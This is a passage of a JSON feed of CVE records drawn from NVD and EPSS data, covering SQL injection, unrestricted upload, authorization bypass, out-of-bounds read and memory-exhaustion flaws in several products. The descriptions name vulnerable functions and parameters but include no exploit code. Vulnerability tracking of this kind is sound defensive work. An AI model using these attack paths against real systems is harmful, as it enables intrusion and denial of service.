of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112151&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112151, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112150","cveId":"CVE-2026-112150","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected is an unknown function of the file search.php.","summary":"A security flaw has been discovered in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected is an unknown function of the file search.php. The manipulation of the argument Search results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security flaw has been discovered in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected is an unknown function of the file search.php. The manipulation of the argument Search results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T15:17:05.033Z","updatedAt":"2026-10-22T03:16:36.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112150","asOf":"2026-10-22T03:16:36.200Z"},"epss":{"probability":0.00263,"percentile":0.17969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112150&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112150","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112150","type":"primary","publishedAt":"2026-10-19T15:17:05.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112150&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112150, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112149","cveId":"CVE-2026-112149","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This impacts the function move_uploaded_file of the file...","summary":"A vulnerability was identified in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This impacts the function move_uploaded_file of the file home.php. The manipulation of the argument my_img leads to unrestricted upload. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was identified in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This impacts the function move_uploaded_file of the file home.php. The manipulation of the argument my_img leads to unrestricted upload. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T15:17:03.943Z","updatedAt":"2026-10-19T20:43:24.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112149","asOf":"2026-10-19T20:43:24.237Z"},"epss":{"probability":0.00288,"percentile":0.21157,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112149","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112149","type":"primary","publishedAt":"2026-10-19T15:17:03.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8168","cveId":"CVE-2026-8168","aliases":[],"kind":"vulnerability","title":"Uncontrolled recursion in the SVG parser and renderer of the Qt SVG module (QtSvg) in Qt Group Qt allows attackers to cause a denial of service (application crash via stack...","summary":"Uncontrolled recursion in the SVG parser and renderer of the Qt SVG module (QtSvg) in Qt Group Qt allows attackers to cause a denial of service (application crash via stack exhaustion) via a crafted SVG file with deeply nested elements.","detail":"Uncontrolled recursion in the SVG parser and renderer of the Qt SVG module (QtSvg) in Qt Group Qt allows attackers to cause a denial of service (application crash via stack exhaustion) via a crafted SVG file with deeply nested elements.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:08.840Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8168","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00404,"percentile":0.34413,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-8168&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8168","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8168","type":"primary","publishedAt":"2026-10-19T14:17:08.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-8168&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-8168, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112287","cveId":"CVE-2026-112287","aliases":[],"kind":"vulnerability","title":"Krayin CRM before 2.2.7 contains a broken object level authorization vulnerability in EmailController write actions that allows scope-restricted authenticated users to manipulate...","summary":"Krayin CRM before 2.2.7 contains a broken object level authorization vulnerability in EmailController write actions that allows scope-restricted authenticated users to manipulate other users' emails by supplying their numeric IDs. Attackers can call update, destroy, mass-update or mass-destroy endpoints to edit, re-send via is_draft=0, trash or permanently delete emails and disclose their subject, body and linked lead and person data.","detail":"Krayin CRM before 2.2.7 contains a broken object level authorization vulnerability in EmailController write actions that allows scope-restricted authenticated users to manipulate other users' emails by supplying their numeric IDs. Attackers can call update, destroy, mass-update or mass-destroy endpoints to edit, re-send via is_draft=0, trash or permanently delete emails and disclose their subject, body and linked lead and person data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:07.143Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112287","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00199,"percentile":0.09662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112287","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112287","type":"primary","publishedAt":"2026-10-19T14:17:07.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112286","cveId":"CVE-2026-112286","aliases":[],"kind":"vulnerability","title":"Krayin CRM before 2.2.7 contains an insecure direct object reference vulnerability that allows scope-restricted authenticated users to read other users' quotes by bypassing...","summary":"Krayin CRM before 2.2.7 contains an insecure direct object reference vulnerability that allows scope-restricted authenticated users to read other users' quotes by bypassing per-user data scope checks in QuoteController. Attackers can query the quotes search and lead-products endpoints to retrieve quote addresses, totals, contact details, and product pricing belonging to any user or lead.","detail":"Krayin CRM before 2.2.7 contains an insecure direct object reference vulnerability that allows scope-restricted authenticated users to read other users' quotes by bypassing per-user data scope checks in QuoteController. Attackers can query the quotes search and lead-products endpoints to retrieve quote addresses, totals, contact details, and product pricing belonging to any user or lead.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:06.990Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112286","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.0025,"percentile":0.16218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112286","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112286","type":"primary","publishedAt":"2026-10-19T14:17:06.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112279","cveId":"CVE-2026-112279","aliases":[],"kind":"vulnerability","title":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_bmpcache2() in orders.c that allows malicious RDP servers to crash clients via crafted...","summary":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_bmpcache2() in orders.c that allows malicious RDP servers to crash clients via crafted revision-2 bitmap cache orders. Attackers can send an uncompressed order with large width/height or an underflowing mode nibble and short payload, causing memcpy() reads past the receive buffer and denial of service.","detail":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_bmpcache2() in orders.c that allows malicious RDP servers to crash clients via crafted revision-2 bitmap cache orders. Attackers can send an uncompressed order with large width/height or an underflowing mode nibble and short payload, causing memcpy() reads past the receive buffer and denial of service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:05.977Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112279","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00306,"percentile":0.23163,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112279&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112279","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112279","type":"primary","publishedAt":"2026-10-19T14:17:05.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112279&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112279, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112278","cveId":"CVE-2026-112278","aliases":[],"kind":"vulnerability","title":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_raw_bmpcache() in orders.c that allows malicious RDP servers to crash clients.","summary":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_raw_bmpcache() in orders.c that allows malicious RDP servers to crash clients. Attackers can send a raw bitmap cache order declaring large width, height, and bpp values with a tiny payload, causing memcpy() to read past the receive buffer and crash the client.","detail":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_raw_bmpcache() in orders.c that allows malicious RDP servers to crash clients. Attackers can send a raw bitmap cache order declaring large width, height, and bpp values with a tiny payload, causing memcpy() to read past the receive buffer and crash the client.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:05.830Z","updatedAt":"2026-10-22T03:16:36.827Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112278","asOf":"2026-10-22T03:16:36.827Z"},"epss":{"probability":0.00306,"percentile":0.23164,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112278&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112278","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112278","type":"primary","publishedAt":"2026-10-19T14:17:05.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112278&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112278, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112277","cveId":"CVE-2026-112277","aliases":[],"kind":"vulnerability","title":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_plane() in bitmap.c that allows malicious RDP servers to crash clients by sending malformed 32...","summary":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_plane() in bitmap.c that allows malicious RDP servers to crash clients by sending malformed 32 bpp compressed bitmaps. Attackers can declare a large bitmap geometry with a short compressed body in bitmap update PDUs or bitmap cache orders, causing unbounded reads past the receive buffer and denial of service.","detail":"rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_plane() in bitmap.c that allows malicious RDP servers to crash clients by sending malformed 32 bpp compressed bitmaps. Attackers can declare a large bitmap geometry with a short compressed body in bitmap update PDUs or bitmap cache orders, causing unbounded reads past the receive buffer and denial of service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:05.663Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112277","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.0039,"percentile":0.32829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112277&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112277","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112277","type":"primary","publishedAt":"2026-10-19T14:17:05.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112277&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112277, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112270","cveId":"CVE-2026-112270","aliases":[],"kind":"vulnerability","title":"SGLang through 0.5.22 with the Mooncake disaggregation backend contains an uncontrolled memory allocation vulnerability in handle_staging_rsp() that lets unauthenticated...","summary":"SGLang through 0.5.22 with the Mooncake disaggregation backend contains an uncontrolled memory allocation vulnerability in handle_staging_rsp() that lets unauthenticated network-adjacent attackers exhaust Prefill memory. Attackers can obtain the rank address from the /route endpoint and send STAGING_RSP messages with huge chunk_idx values under fresh room IDs, causing the scheduler to be OOM-killed.","detail":"SGLang through 0.5.22 with the Mooncake disaggregation backend contains an uncontrolled memory allocation vulnerability in handle_staging_rsp() that lets unauthenticated network-adjacent attackers exhaust Prefill memory. Attackers can obtain the rank address from the /route endpoint and send STAGING_RSP messages with huge chunk_idx values under fresh room IDs, causing the scheduler to be OOM-killed.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:04.627Z","updatedAt":"2026-10-19T17:17:14.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112270","asOf":"2026-10-19T17:17:14.960Z"},"epss":{"probability":0.00249,"percentile":0.16068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112270&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112270","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112270","type":"primary","publishedAt":"2026-10-19T14:17:04.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112270&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112270, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112269","cveId":"CVE-2026-112269","aliases":[],"kind":"vulnerability","title":"SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service.","summary":"SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service. Network-adjacent attackers can send many registrations with unique mooncake_session_id values and large nested-buffer frames to exhaust Prefill memory until the scheduler is OOM-killed.","detail":"SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service. Network-adjacent attackers can send many registrations with unique mooncake_session_id values and large nested-buffer frames to exhaust Prefill memory until the scheduler is OOM-killed.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:04.467Z","updatedAt":"2026-10-19T19:17:27.590Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112269","asOf":"2026-10-19T19:17:27.590Z"},"epss":{"probability":0.00487,"percentile":0.41636,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112269&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 